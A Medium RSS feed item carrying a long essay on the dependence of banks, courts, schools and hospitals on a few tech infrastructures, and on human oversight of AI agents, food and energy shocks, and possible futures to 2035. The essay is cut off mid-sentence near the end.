<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Derya Cortuk on Medium]]></title>
        <description><![CDATA[Stories by Derya Cortuk on Medium]]></description>
        <link>https://medium.com/@derya.cortuk?source=rss-9f6799151dea------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0_W0CC0Q9G2S46ZLk_bI4w.jpeg</url>
            <title>Stories by Derya Cortuk on Medium</title>
            <link>https://medium.com/@derya.cortuk?source=rss-9f6799151dea------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 07:00:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@derya.cortuk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The World Taking Shape Beyond 2027: Who Will Control the Systems We Depend On?]]></title>
            <link>https://medium.com/@derya.cortuk/the-world-taking-shape-beyond-2027-who-will-control-the-systems-we-depend-on-43d4a8e647a6?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/43d4a8e647a6</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[society]]></category>
            <category><![CDATA[politics]]></category>
            <category><![CDATA[future]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Sat, 21 Nov 2026 17:57:52 GMT</pubDate>
            <atom:updated>2026-11-21T18:17:03.676Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A long read on power, technology, money, health and everyday life.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4SDx97OHgn2toEf9JYN7Jg.png" /></figure><h3>1. “It’ll Be Back Soon”</h3><p>On the morning of October 20, 2026, Google Cloud reported errors and intermittent network failures in its London region, which it linked to a power problem in one zone. Revolut confirmed a disruption affecting several services, and customers described cards declined at supermarket tills and fuel stations. Customers of Lloyds, HSBC and Bank of Scotland also reported trouble, though at the time it was not confirmed that every one of those incidents traced back to Google. Separately, the courts service acknowledged a fault in the video platform used for some remote hearings, and the Criminal Bar Association said trials and hearings could not go ahead in places. The date was an uncomfortable coincidence: exactly one year earlier, a fault at Amazon Web Services had knocked hundreds of online services offline.</p><p>Four weeks later came a bad week in the United States. A Microsoft outage on Thursday, November 12, lasted for hours and hit Outlook, Teams and Copilot. On Friday a failure in the air-traffic control system grounded all US flights for several hours. And on Monday, November 16, a software bug in an on-premises hardware system at JPMorgan Chase, which the bank said was not a cyberattack, left thousands of customers unable to reach their accounts online. Zelle payments were delayed for customers of other banks whenever Chase was on the other side of the transaction. Chase said the problem was its own and expected services back by the end of the day.</p><p>Each incident was fixed. Each statement was the kind you have read before: a technical problem, now being resolved, nobody’s money is at risk. Each was probably true.</p><p>What stays with me is what happened next, which was almost nothing. We refreshed the app, paid with another card, complained for a day, and moved on.</p><p>Now stretch the film. Suppose it keeps happening, never catastrophically, just regularly, a morning here and an afternoon there, and each time an official says it will be back soon. <strong>How would we slowly get used to it?</strong></p><p>We already know, because we have done it before. First comes anger, then the screenshot and the group chat, then a second payment app and a few notes in a drawer. And at some point we stop asking the question that mattered from the start: why does so much of ordinary life depend on so few places, and who answers when they fail?</p><p>This essay follows one question through politics, technology, money, food, health, education, law and work. It is the question I think sits underneath most of the others:</p><p><strong>Who has the power to decide what ordinary people can access, use, afford, trust and challenge?</strong></p><p>A person’s access to their own money. A child’s access to a good education. A patient’s access to care. A graduate’s chance of being seen by an employer. A citizen’s access to reliable information. A company’s choice of technology, and a country’s choice of which digital infrastructure to depend on. These look like separate subjects. I will argue they are one subject, and that the common thread is access, control and dependence.</p><p>I should say plainly what I am not arguing. I do not think the future is certain to be bad. The same technologies can catch a cancer earlier, tutor a child at midnight and keep a small business afloat. What concerns me is not that these systems exist, but how hard it may become to live without them, and how little say most of us will have over their rules.</p><h3>2. How to Read This</h3><p>In the early sections I will use three layers, and say when I move from one to the next:</p><p>• <strong>What is happening now:</strong> documented developments you can check.</p><p>• <strong>What could happen next:</strong> reasonable extensions of those trends.</p><p>• <strong>What if it goes further:</strong> darker scenarios. These are thought experiments, not forecasts.</p><p>Later sections drop the labels, but the discipline stays. Two cautions go with it. No one knows what 2035 looks like, and I will not pretend to precise odds; the better exercise is to watch which way the arrows point and who is holding the wheel. And nothing here requires a secret plan or a villain. Convenience, profit, security and speed are enough to concentrate power. The picture also has brakes: governments that push back, companies that compete with each other, regulators, courts and voters. I will try to show them too.</p><p>Where I describe ordinary people, the examples are composites. They illustrate a situation; they are not real individuals.</p><h3>3. Why 2027, and Why It Is Not a Cliff</h3><p>2027 is not the year a new world order is announced. It is a year in which many clocks run out at once.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*DX2Vh8U-oX3NEz1wkLrBAA.png" /></figure><p>Notice what the table is made of: deadlines, negotiations and bills coming due. A cliff is something you see coming. A slope is something you only notice when you look back.</p><h3>4. The Board: Who Is Playing, and What They Want</h3><p>No single story explains the world. But a handful of players, with very different problems, are pulling on the same threads.</p><p><strong>The United States</strong> is mid-turn. Democrats won both chambers of Congress on November 3, and reporting on the campaigns suggests that holding AI companies accountable, and the cost of powering data centres, were live issues in several races. Incoming Democratic leaders have promised AI rules, though turning them into law would need the agreement of a Republican White House. The administration insists American AI must stay ahead of China, and on November 16 it tightened rules on renting advanced chips remotely through data centres abroad.</p><p><strong>China</strong> holds the other half of the chokepoint map. Its rare-earth licensing, introduced in 2025, remains in force, and the sharper controls are paused only until January. It is building at scale in energy, batteries and electric vehicles, pushing for chip self-reliance, and releasing AI models that others can download and run. Beijing’s position is that Washington stretches the idea of national security to suppress Chinese companies. Washington’s is that export controls are a security matter, not a bargaining chip.</p><p><strong>Europe</strong> wrote the world’s first comprehensive AI law, then postponed its toughest chapter because the technical standards were not ready and competitiveness fears were loud. Supporters call that pragmatism; critics call it retreat. It also has a war on its eastern edge and a heavy reliance on American cloud infrastructure. The October 20 outage in London ran on a US company’s servers.</p><p><strong>Russia and Ukraine.</strong> The war goes on. US-brokered talks in Abu Dhabi on November 10 and 11, the first in nine months, produced a prisoner exchange but no breakthrough, and Europeans insist a ceasefire must precede detailed bargaining. It is a war in which drones, satellite networks and software play a decisive daily role, and in which private companies are part of the picture.</p><p><strong>The Gulf and the Iran war.</strong> The war involving Iran, the United States and Israel began on February 28, 2026, and Iran effectively closed the Strait of Hormuz, through which about a fifth of the world’s oil and a large share of its traded fertilizer normally pass. A ceasefire took hold in April, but through the summer traffic stayed far below pre-war levels and talks kept stalling. The Gulf states are exposed to that risk while trying to become AI capitals, with sovereign money flowing into data centres.</p><p><strong>India</strong> shows how a digital power can still be a physical hostage. It built payments and identity as public infrastructure, used by hundreds of millions of people, and its AI ambitions are real. But it imports about 60% of its DAP fertilizer and all of its potash, and 30 of its 32 urea plants run on natural gas. When Hormuz closed, India’s LPG imports fell by about half in March, and the research group CREA estimated roughly $22 billion in extra fossil-fuel import costs between March and August. Farmers were largely shielded, but only because the government spent heavily to buy gas and urea at much higher prices. A country that can run payments for a population that size still had to improvise to keep fertilizer flowing.</p><p><strong>Türkiye</strong> imports roughly two-thirds of its energy, mostly as fossil fuels. Its net energy import bill was about $47 billion in 2025, and the think tank Ember estimated that the Hormuz crisis could add around $14 billion to the 2026 bill. Türkiye has also shown it can build strategic technology, its armed drones being the best-known example, but the foundations of a modern economy, energy first, are largely imported. Which cloud its banks run on, and which AI tools its schools and hospitals adopt, are decisions it will make partly under that kind of pressure.</p><p><strong>Africa</strong> is home to nearly 18% of the world’s people, but only about 2% of global AI training data and just 0.6% of global data-centre capacity, according to the World Bank’s October Africa Economic Update. Use of generative AI among working-age people in early 2026 ranged from 7.2% in Rwanda to 23.1% in South Africa. Meanwhile the Democratic Republic of Congo mined about two-thirds of the world’s cobalt in 2024, nearly all of it exported with little processing. Refining adds a premium at each stage, and that value leaves with the ore. A planned battery and electric-vehicle zone spanning the DRC and Zambia is one attempt to keep some of it at home.</p><p>None of these countries is following a script. But look at what they share: each is trying to secure chips, energy, food and data in a world where any of the four can be switched off by someone else.</p><h3>5. Who Owns the Machine?</h3><p>Start with the money, because power usually follows it. J.P. Morgan estimates that the big hyperscalers will spend nearly $700 billion on capital investment in 2026, much of it on AI data centres, chips and power. The Bank for International Settlements warned in March that a growing share is funded by borrowing, including structures that keep obligations off the builders’ own balance sheets, a pattern it describes as shadow borrowing.</p><p>One number deserves care, because it is often repeated loosely. A study by Nikkei Asia, reported in July, estimated that the off-balance-sheet commitments of Alphabet, Microsoft, Amazon, Meta and Oracle had grown about eightfold in four years, to roughly $1.65 trillion. These are mostly long-term leases on data centres and purchase commitments for chips and servers that have not yet been delivered or switched on. They are disclosed in the notes to company accounts, they are legal, and they are not debt in the strict sense. The same study put the debt those five firms report on their balance sheets at about $1.35 trillion. The companies argue the spending is backed by demand, and point to a combined cloud order backlog of about $1.45 trillion at Microsoft, Alphabet and Amazon at the end of March. Morgan Stanley has examined the trend in a note to investors, and Moody’s has warned that lease commitments for projects not yet started are rising quickly.</p><p><em>What could happen next.</em> If the returns arrive, power concentrates further in the firms that own the infrastructure. If they do not, a financial adjustment could reach credit markets, pension funds and public budgets, and politicians will be asked to regulate or to rescue. Either way, the public is a stakeholder in a bet it never voted on.</p><p>Then there is electricity. The International Energy Agency projects that data-centre power use will roughly double to about 945 terawatt-hours by 2030, about what Japan consumes today, with data centres accounting for nearly half of US demand growth. Its later analysis found data-centre demand rose around 17% in 2025, against roughly 3% for electricity overall. Globally this is still a small slice of the total. Locally it is a fight over grids, prices and land, which helps explain why data-centre power costs surfaced in this autumn’s American campaigns.</p><p>None of this is a monolith, and it is worth saying so. The big cloud companies compete hard with one another on price, chips and models. Chinese labs release models that anyone can download. Open-weight models mean a university lab or a ministry can run capable AI on its own hardware. The infrastructure is concentrated; the market on top of it is not yet a single owner.</p><p>Still, “sovereignty” sounds abstract until it is concrete. It is a hospital whose patient records and appointment system run in one cloud region owned by a foreign company. It is a school district whose whole learning platform is one vendor’s product. It is a bank whose payments depend on a single provider’s data centre in London. The companies that buy this technology know the risk. In TCS’s November survey of 1,333 senior leaders in 25 countries, 90% said independence from any single AI model provider mattered to their investment decisions, but only 7% had organisation-wide plans for switching providers.</p><p>So three models of power are possible:</p><p>• <strong>Governments stay dominant.</strong> They regulate the technology firms and restrain them when they must.</p><p>• <strong>Shared power.</strong> States need clouds, chips and expertise; firms need licences, contracts and markets. The bargaining is unequal and shifts over time.</p><p>• <strong>Infrastructure as practical power.</strong> States remain legally sovereign, but essential services run on a few private platforms, and the practical ability to act depends on contracts and goodwill.</p><p>We live today in a mix of the first two, drifting in places toward the third. The October 20 outage is a small example: a court video link and several banks failed because of a power fault in a data centre owned by a foreign company. No law was broken and no sovereignty was formally transferred. Yet for a few hours, the ability of public and private institutions to function sat in someone else’s building.</p><p>There are counterweights: antitrust enforcement, public cloud and compute, open-weight models, procurement rules that demand exit options and interoperability, and regulators with the power to audit. Governments are not passive either. Export controls, election-year politics and EU rules show that states still move when they decide to.</p><p>Consider a composite, not a real person: the owner of a small café in a mid-sized city. Her card terminal, delivery listings, accounting software, customer list and advertising all run on four platforms, each under terms she accepted without reading. One morning the terminal fails for two hours, which is annoying but survivable. A month later an automated fraud flag freezes her payment account, and the only route to a human is a web form. She has not done anything wrong. What are her alternatives, and who will pick up the phone?</p><h3>6. What Happens When AI No Longer Needs Human Permission?</h3><p>The science-fiction version of this question is a machine that disobeys. The nearer, stranger version is a machine that never needs to, because the human who is supposed to approve its actions has become a formality.</p><p><em>What is happening now.</em> AI agents, systems that take actions rather than only answer questions, are spreading fast. Four recent surveys give a feel for the scene, with a warning: they use different samples and definitions, and they should not be read as one data set. A 2026 Zapier survey of 513 enterprise leaders found 88% saying their organisations use or are testing AI agents. Dynatrace, surveying 919 senior leaders at large companies in late 2025, found that 13% use fully autonomous agents and that humans still verify about 69% of agent-driven decisions. Deloitte, polling more than 3,000 senior leaders, found 74% planning to deploy agentic AI within two years but only 21% reporting a mature model for governing autonomous agents. And TCS found that only about one in ten enterprises lets agents execute decisions across multiple business functions without human approval. Taken together they point one way: agents are spreading faster than the rules that govern them, and most organisations still keep a person nominally in charge.</p><p><em>What could happen next.</em> The risk is not only autonomy. It is what I call <strong>approval fatigue</strong>. A person is still in the loop, but the loop has stopped doing its job. Think of the clerk who approves two hundred AI-drafted decisions a day, the doctor who sees a dozen machine suggestions in every appointment, the caseworker who signs off on a risk score because the screen says “recommended”. How many of those can each of them really examine? Researchers have a name for the tendency to defer to an automated suggestion: automation bias. When a system is right 98 times in 100, checking the other two becomes a luxury that nobody’s schedule allows. At that point the human is not deciding. They are providing a signature, and the organisation can point to it whenever something goes wrong.</p><p>It helps to separate three kinds of permission, because a system can lose any of them without a dramatic moment:</p><p>• <strong>Permission to act.</strong> What the system may do on its own: spend money, deny a claim, rank a patient, reject a candidate, change code.</p><p>• <strong>Permission to be questioned.</strong> Whether the person affected can get an explanation, and a human who can change the outcome.</p><p>• <strong>Permission to be stopped.</strong> Whether anyone can pause the system when it is wrong, and whether you can leave it for an alternative.</p><p>Apply the test to a bank. Can the system decline your payment? Can you challenge the decision and reach someone who can reverse it? Can you take your money elsewhere, or does everything you do sit on the same rails? The same three questions will keep returning in this essay, for a hospital’s triage software, a hiring tool, a school’s learning platform.</p><p>Now add agents that negotiate with other agents, in procurement, pricing, scheduling, trading and claims handling, with humans handling only the exceptions. Speed outruns comprehension.</p><p><em>What if it goes further.</em> Decisions that change a life, a visa, a loan, a diagnosis, a job, emerge from chains of systems in which no single person can explain the result. Not a rebellion, but something more mundane and perhaps harder to fix: a diffusion of responsibility so complete that nobody decided anything at all.</p><p>The European Union’s answer arrives on December 2, 2027, when its obligations for high-risk AI in hiring, education, credit scoring and law enforcement begin to apply, including requirements for human oversight, risk management and record-keeping. The United States has no comprehensive federal equivalent, and the new Congress will test whether one emerges.</p><p><strong>Are humans still making decisions, or are we increasingly approving decisions made by systems we do not fully understand? And when an autonomous system changes someone’s life, who will be accountable?</strong></p><h3>7. The Institutions We Once Trusted: Education, Law and Health</h3><p>Abstract debates about power become personal in three places: a child’s classroom, a courtroom and a hospital bed.</p><p><strong>Education.</strong> Consider a composite parent whose twelve-year-old does maths homework with an AI tutor that the school provides. The child is getting more patient help than any teacher could give her. But the same app decides which problems come next, scores the answers and sends a progress report home. Who, exactly, is defining what counts as her success?</p><p>The benefits are real, especially for a child whose family cannot afford a private tutor. The risk is subtler, and a field experiment with Turkish high-school students, run by Bastani and colleagues, shows it. Students with ordinary chatbot access did far better on practice problems, about 48% better, and students with a tutor-style design did better still, about 127%. But when access was taken away, the plain-chatbot group scored about 17% worse than students who never had it, while the tutor-style group largely avoided the harm. One experiment cannot settle anything about whole school systems. It does show that the design of a tool decides whether it builds a mind or replaces one.</p><p>The same three permission questions apply. Can the teacher see why the system chose a task, and override it? Can the school leave for another provider without losing its records? And who owns the learning data of millions of children when they all pass through the same few platforms?</p><p><strong>Law.</strong> Courts are slow, and the slowness is part of their legitimacy. AI is fast, and it is genuinely useful for reviewing documents, finding precedent and drafting. It also fails in ways that matter: lawyers in several countries have been sanctioned for filing briefs that contained AI-invented citations. The deeper issue is accountability and appeal. That is why the EU treats AI used in hiring, credit and the administration of justice as high-risk, and why its December 2027 rules centre on human oversight. The principle is old and simple: a person subject to a consequential decision should have someone who can explain it and change it. The October 20 outage showed how much of the plumbing of justice, from video links to case files, already runs on private infrastructure.</p><p><strong>Health.</strong> Consider a composite patient in a crowded clinic whose place in the queue is set by software that scores her symptoms and history. Often the score will help; it can catch a danger that a rushed human would miss. But suppose it ranks her lower than she feels is right. May the software prioritise her without a clinician reviewing the result? Can she or her doctor see why, and challenge it? If the model proves less accurate for people like her, can anyone stop using it?</p><p>AI reading scans, summarising records and accelerating drug discovery is real progress. The risks are just as real: triage and coverage decisions made by algorithm (US insurers have faced lawsuits over automated claim denials), sensitive data held by firms rather than hospitals, uneven accuracy across populations, and a two-tier future in which those with money get human doctors and AI, while everyone else gets AI alone. The EU’s rules for AI built into regulated products, including medical devices, follow later, from August 2028.</p><p>In all three settings the test is the same. Efficiency is not trust. Trust depends on whether a human with real authority can change the outcome, and an institution stands behind that human.</p><h3>8. Work, Wages and Who Gets the Gains</h3><p>Consider a composite graduate: 23, a degree, student debt, a CV sent to forty companies. At many large employers the first screen is automated. Rejections arrive within minutes, with no reasons. How does she stand out to a system whose criteria she cannot see, and if a rejection is unfair, whom does she appeal to? From December 2027 the EU treats hiring tools as high-risk and requires human oversight. In much of the world, including the United States at federal level, nothing comparable exists yet.</p><p>The evidence on whether AI is already squeezing young workers is contested, and it is worth being honest about that. The New York Fed put unemployment among recent US graduates at about 5.7% in June, above the overall rate, with underemployment above 40%. A Stanford analysis of payroll data found employment of 22- to 25-year-olds in highly AI-exposed occupations nearly 20% lower than it would otherwise be, driven by slower hiring rather than layoffs, with no sign of economy-wide displacement. Goldman Sachs estimated that the employment drag linked to AI exposure is more than three times larger for entry-level workers.</p><p>Others push back. Researchers writing for IZA in October found no clear rise in unemployment among young US graduates through August. Vanguard found little evidence that AI is the main cause of their difficulties. A study of some 21,000 firms by Ramp and Revelio found entry-level headcount grew about 12% at the heaviest AI investors, and New York Fed researchers pointed to remote work as a bigger factor.</p><p>My reading is that there is no mass unemployment, but there may be a quiet problem at the bottom of the ladder. Entry-level jobs are the economy’s training system. A junior analyst learns which numbers can be trusted; a young developer learns how real systems fail. If AI absorbs that work and firms stop hiring juniors, then in ten years it is unclear who will have the judgment to supervise the machines.</p><p>The deeper issue is not whether there will be jobs but <strong>who gets the gains</strong>. If output rises while labour’s share of it falls, a society can grow richer and feel poorer. Welfare states are funded largely by taxes on wages, and that base thins if more value flows through machines and capital. The options being debated include shorter working weeks, wage insurance, retraining that actually works, shared ownership of the gains through public stakes or dividends, heavier taxes on capital and computing, and universal basic income. None is proven at scale. All are political choices, and they will be made, or avoided, in the next few years.</p><h3>9. Money, Food, Energy and the Cost of Survival</h3><p>Follow one chain. A war closes a strait. Oil and gas prices spike. Fertilizer, which is made with natural gas and shipped through that same strait, becomes scarcer and dearer. Farmers apply less. Harvests shrink. Food gets expensive. The UN food agency says roughly a third of traded fertilizer normally passes through Hormuz, and the World Bank reported urea prices up nearly 46% between February and March.</p><p>The crucial detail is timing. A fertilizer shortage does not empty shelves overnight. It first reduces application, then yields, and only later raises prices. The FAO warned that tighter food supplies could extend into 2027, and its food price index was already about 5.8% higher in September than a year earlier. That is why the bill may arrive after the headlines have moved on, and why import-dependent countries and poorer households, who spend a large share of income on food, feel it first.</p><p>Energy is the hinge. The same gas that heats homes and makes fertilizer also generates electricity, and a world that wants far more electricity for computation competes with households and farms for the same supply. This is not a doom claim: the IEA stresses that data centres are a minority of global demand growth. But grids are local, and local strain becomes political fast.</p><p>Now layer on money. Picture a supermarket queue during a regional power cut, when card terminals fail and cash has long since left circulation. As cash use falls, the fallback shrinks. Apply the three permission questions to payments: may a system block your transaction, can you reach a human who can reverse it, and can you leave for another rail if it is down? A fuel shock, a heavily indebted AI boom and a payment network that stutters on a bad day are not three separate stories. They are one web.</p><p>For a country the question becomes sharper: not only what it can sell, but what it can still get when others stop selling.</p><h3>10. The Countries That Cannot Keep Up</h3><p>Everything so far leads to a harder question, and I suspect it will be asked bitterly in the 2030s: what happens to the societies that do not produce?</p><p>“Produce” should be read broadly. It can mean wheat or fertilizer, electricity or fuel, steel or chips, software or the AI models that run on top of them. What they share is bargaining power. A country that makes something others need can trade, negotiate and retaliate. A country that makes neither its food, its energy nor any technology others want has little to bargain with when supply is cut or terms change.</p><p>The pattern is not new. Food importers learned it in the price spikes and export bans of 2007–08 and again in 2022, and the 2026 fertilizer shock repeated it. This month adds a modern version. Washington added licence requirements for advanced chips headed to countries such as Singapore, Malaysia, Thailand, Indonesia and Brazil, citing the risk of diversion to China. Whatever one thinks of the policy, the lesson is that access to computing power can now be rationed by someone else’s rules.</p><p>For countries that fall behind in AI, the risks stack up. Their data is collected and used elsewhere. A 2024 UN advisory body report counted 118 countries, mostly in the global South, that were party to none of seven prominent international AI-governance initiatives, so they have little say in the rules. Many of the jobs that carried development, such as call centres, back-office processing and data work, are the kind of work AI automates, and UNCTAD estimates that up to 40% of jobs worldwide could be affected. Such a country can end up renting computing power, models and platforms from abroad and paying with data, money and political compliance. Economists call this dependency. Critics call it data colonialism. Even rich regions are not immune: Europe depends on American cloud infrastructure for much of its digital life.</p><p>I think the darkest version deserves to be stated plainly, as a scenario rather than a prophecy. A society that cannot feed itself, power itself or equip itself, and has nothing others want to buy, will eventually take orders from those who can. Societies rarely vanish outright. What disappears is their ability to decide for themselves: states hollowed out, economies absorbed into someone else’s, and in the worst cases a collapse of order and the flight of people. By servitude I do not mean chains. I mean a population whose livelihood, data and labour are controlled from elsewhere, with little way to refuse. For a country that fails to build anything of its own, whether a farm, a factory or a laboratory, that is the logical end of the road, and the road there could be a very dark period for the first generation to fall through.</p><p>None of this is destiny, and it is not a verdict on any particular country. States have escaped the trap before, usually by building something others needed and by pooling strength with neighbours. The routes open today include:</p><p>• <strong>Secure the basics.</strong> Food, energy and reserves come first. India’s fertilizer scramble shows what it costs to discover the gap in the middle of a crisis.</p><p>• <strong>Build something others need.</strong> Türkiye’s drones, India’s public payments and identity systems, and the DRC–Zambia effort to process battery minerals at home are different examples of the same idea.</p><p>• <strong>Pool capacity.</strong> Regional computing, shared procurement and open-weight models adapted to local languages can give smaller countries a seat they could not afford alone.</p><p>• <strong>Invest in people.</strong> Skills, universities and institutions outlast any single technology.</p><p>• <strong>Keep exit options.</strong> Multiple suppliers, interoperable systems and tested plans for switching providers.</p><h3>11. When We Can No Longer Trust What We See</h3><p>Power over systems is also power over perception. Deepfake video and cloned voices have made fabrication cheap. In 2024 a finance employee at the engineering firm Arup in Hong Kong was reported to have sent about $25 million after a video call in which the colleagues on screen were fakes. Most of us will meet the technology in smaller ways: a voice message from a “relative” asking for money, a clip of a politician that may or may not be real.</p><p>The damage runs in two directions. Fake material is believed, and real material is dismissed as fake. Researchers call the second effect the liar’s dividend, and it may be the more corrosive one, because it lets anyone caught on camera say it was not them. Regulators are beginning to respond. Under the EU’s AI Act, rules requiring AI-generated content to be marked apply to existing systems from December 2, 2026. Labels will help, but the cost of verifying what is true keeps rising faster than the cost of faking it. Courts, elections, journalism and ordinary trust between neighbours all depend on a shared floor of facts.</p><p>Then comes identity and surveillance. Facial recognition, biometric ID, smart-city sensors, digital payment histories and connected devices are each sold on convenience or safety, and each is genuinely useful. Together they form a lattice. No one has to plan it. Add one system at a time, let the alternatives wither, and eventually opting out costs more than most people can pay. What if the most effective form of control is not forcing people to obey, but designing a system they cannot easily live without?</p><p>The counter-forces are real: privacy law, independent courts, a free press, and design choices such as data minimisation and offline options. What matters is whether they are built before the system becomes indispensable, or after.</p><h3>12. The Crises That Could Accelerate Everything</h3><p>A crisis rarely changes the world on its own. It lands on systems that are already under strain and speeds up what was already moving. Here are the shocks I would watch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*P_6GA1hiWEYFidqnURGSVA.png" /></figure><h3>The next pandemic</h3><p>Nobody can say when the next pandemic will arrive, or whether it will be influenza, a coronavirus or something not yet named. Biology does not read our calendars. What can be said is where the warning lights are blinking and whether we fixed what COVID-19 exposed.</p><p>H5N1 bird flu has been spreading in US dairy cattle since 2024. As of early November 2026, 74 human H5 cases had been reported in 13 US states since April 2024, not counting two recent ones, mostly among people exposed to infected cattle or poultry. In late October, three people in Yakima County, Washington, were infected after exposure to infected cattle, and one of them, who had underlying health conditions, died. Europe’s disease agency rates the risk to the general EU public as low, and higher for people who work with animals. Scientists stress that most spillovers never become pandemics, and also that every new host species is another chance for a virus to adapt. This is a watch, not a forecast.</p><p>Then there is readiness. The world adopted a Pandemic Agreement in May 2025, but its core mechanism, how pathogen samples and the resulting benefits such as vaccines and tests are shared, was left to an annex that negotiators failed to finish by the May 2026 deadline. They are now aiming for May 2027, and until the annex is adopted the Agreement cannot open for signature. On November 13, WHO said member states had reaffirmed that commitment. In plain terms: the treaty written to prevent the next pandemic is still waiting for the clause that decides who shares what with whom.</p><p>A new outbreak would not arrive in an empty world. It would collide with everything in this essay:</p><p>• <strong>It would accelerate.</strong> COVID normalised remote work, telehealth, delivery, QR codes and digital health credentials within months. The next event could do the same for the automation of frontline work, digital identity and data-sharing, and measures billed as temporary may not feel temporary.</p><p>• <strong>It would stress.</strong> Supply chains and export restrictions on food and medicine, public debt, hospital IT systems, and an information environment now full of synthetic media. It would also meet a public that, in many countries, trusts institutions less than it did in 2019.</p><p>• <strong>AI would cut both ways.</strong> It can speed vaccine design, genomic surveillance and early warning. Biosecurity experts also worry that powerful models could lower barriers to misuse, which is why safeguards around biological capabilities matter.</p><p>The scenario I find hardest to dismiss is the plain one: a serious outbreak arriving on a day like October 20, with hospital scheduling, pharmacy networks and payment systems failing at once, in a world where a few firms hold the data, run the platforms and set the terms for who gets what first. It needs no new technology and no villain, only the ordinary failures we have already seen. In that moment the resilience of boring infrastructure is public health.</p><h3>13. Two Worlds, Three Classes: What Could the World Look Like by 2035?</h3><p>The pressures in this essay form a chain. Great-power rivalry over chips, energy and minerals. Ownership of the infrastructure that decides who can compute. Automated decisions flowing through that infrastructure into hiring, schooling, care and credit. A growing dependence among institutions, firms and households. And, as a result, unequal trust, wealth and freedom. At the end of the chain sits a picture that I find hard either to accept or to dismiss.</p><h3>Two worlds</h3><p>Imagine a future divided into just two worlds: China and everyone else.</p><p>It is a deliberately blunt picture, and the real world is messier. “Everyone else” includes close allies of Washington, countries with grievances against it, and many that want to buy from both sides. But the question underneath is serious: could the world split into two technological systems that no longer fit together?</p><p>It would not look like a wall. It would look like a <strong>stack</strong>: chips and the machines that make them, cloud and data centres, AI models, payment rails and currencies, digital identity, satellite and telecom networks, and the standards and apps on top. In each layer someone holds a chokepoint. The United States and its allies lead in advanced chip design, chipmaking tools and the largest cloud platforms. China dominates the processing of rare earths and much of the battery and solar supply chain, and is closing gaps in chips and models. The November 16 chip rules show how a divide gets built: not by declaring one, but by writing rules about who is allowed to plug in.</p><p>For the split to become real, a lot would have to change:</p><p>• <strong>Politically:</strong> a crisis that forces choices, such as a confrontation over Taiwan, sanctions that turn secondary, or a truce that collapses in January.</p><p>• <strong>Legally:</strong> incompatible rules on data, AI and cybersecurity, until a company cannot lawfully operate in both systems.</p><p>• <strong>Economically:</strong> payment systems and currencies that interoperate less, and supply chains rebuilt among friends.</p><p>• <strong>Technologically:</strong> different standards, different models, different apps.</p><p>• <strong>Socially:</strong> ordinary lives that diverge in what you can search, which assistant you ask and which version of events reaches you first.</p><p>What pushes the other way? Interdependence is deep, middle powers prefer to hedge, open models cross borders for free, and few governments want to be forced to choose. The likelier outcome is not two worlds but <strong>two gravitational fields and many hedgers</strong>, with the cost of hedging rising every year. And at the bottom of those fields sit the countries of section 10, the ones that cannot afford a stack of their own. They rent, and renting means someone else sets the price, the access and the right to switch you off.</p><h3>Three classes</h3><p>Now add a second picture, about people rather than countries. Imagine a global system with three social classes:</p><p>1. <strong>Those who design and control the system.</strong></p><p>2. <strong>The selected elite who benefit from it.</strong></p><p>3. <strong>Everyone else, the majority who live under it.</strong></p><p>With AI, surveillance, digital finance and increasingly interconnected systems, could such a future become possible? Or is it simply a dystopian scenario?</p><p>My answer is that it is a model, not a map. But each class already has an early outline. The first is visible in who owns the chips, clouds, models and payment rails, and in the sheer scale of the money involved, hundreds of billions of dollars a year concentrated in a small number of firms and a few states. The second is visible in privileged access: professionals who direct AI rather than compete with it, firms with preferred contracts and priority computing, countries with powerful allies. The third is visible wherever decisions about credit, jobs, care or benefits are made by systems people cannot inspect and cannot easily appeal. The café owner, the graduate and the patient in earlier sections are all, in different ways, at the edge of that third group.</p><p>Why it might not harden: people move between positions through education and ownership; open models and new entrants erode monopolies; regulators and courts push back; workers organise; and voters can turn technology into a political question quickly, as this month’s US election showed. Earlier waves of concentration, in railroads, oil and electricity, were eventually bounded by law, antitrust, labour power and public alternatives. But they were usually bounded after visible failures and scandals, and rarely before. One more caution: the classes may be positions rather than people. The same person can be a designer in one system and entirely dependent in another.</p><p>So my answer is <strong>possible, not inevitable, and not merely fiction.</strong> What decides it is whether the checks arrive before the dependency is complete.</p><h3>How billions could come to accept it</h3><p>The hardest question is not whether such a system could be built. It is how billions of people would come to live inside it without a revolution, or even much of an argument. If the world were drifting toward two systems and three classes, the drift would follow a process, and I think it would look something like this:</p><p>1. <strong>Convenience.</strong> The new system is genuinely better: faster, cheaper, always on. People adopt it gladly. No one is forced.</p><p>2. <strong>Standardisation.</strong> Banks, schools, hospitals, employers and governments move onto the same rails, because it is efficient and everyone else is doing it.</p><p>3. <strong>Dependency.</strong> Alternatives wither. Branches close, paper forms vanish, the human desk becomes a premium service. Going back gets expensive.</p><p>4. <strong>Normalised friction.</strong> Outages, errors and automated denials become part of life. “It’ll be back soon” stops being news, and people adapt their routines instead of demanding fixes.</p><p>5. <strong>Re-legitimisation.</strong> The system is defended in the language of security, efficiency and protection from fraud, crime or chaos. Each new control arrives with a reason that sounds sensible.</p><p>6. <strong>Institutionalisation.</strong> Law catches up with practice. What was a convenience becomes a requirement, and what was a choice becomes the default for everyone.</p><p>For a world like this to take hold, change would have to run through every part of society at once:</p><p>• <strong>Politically:</strong> power drifts toward whoever runs the infrastructure; emergency powers 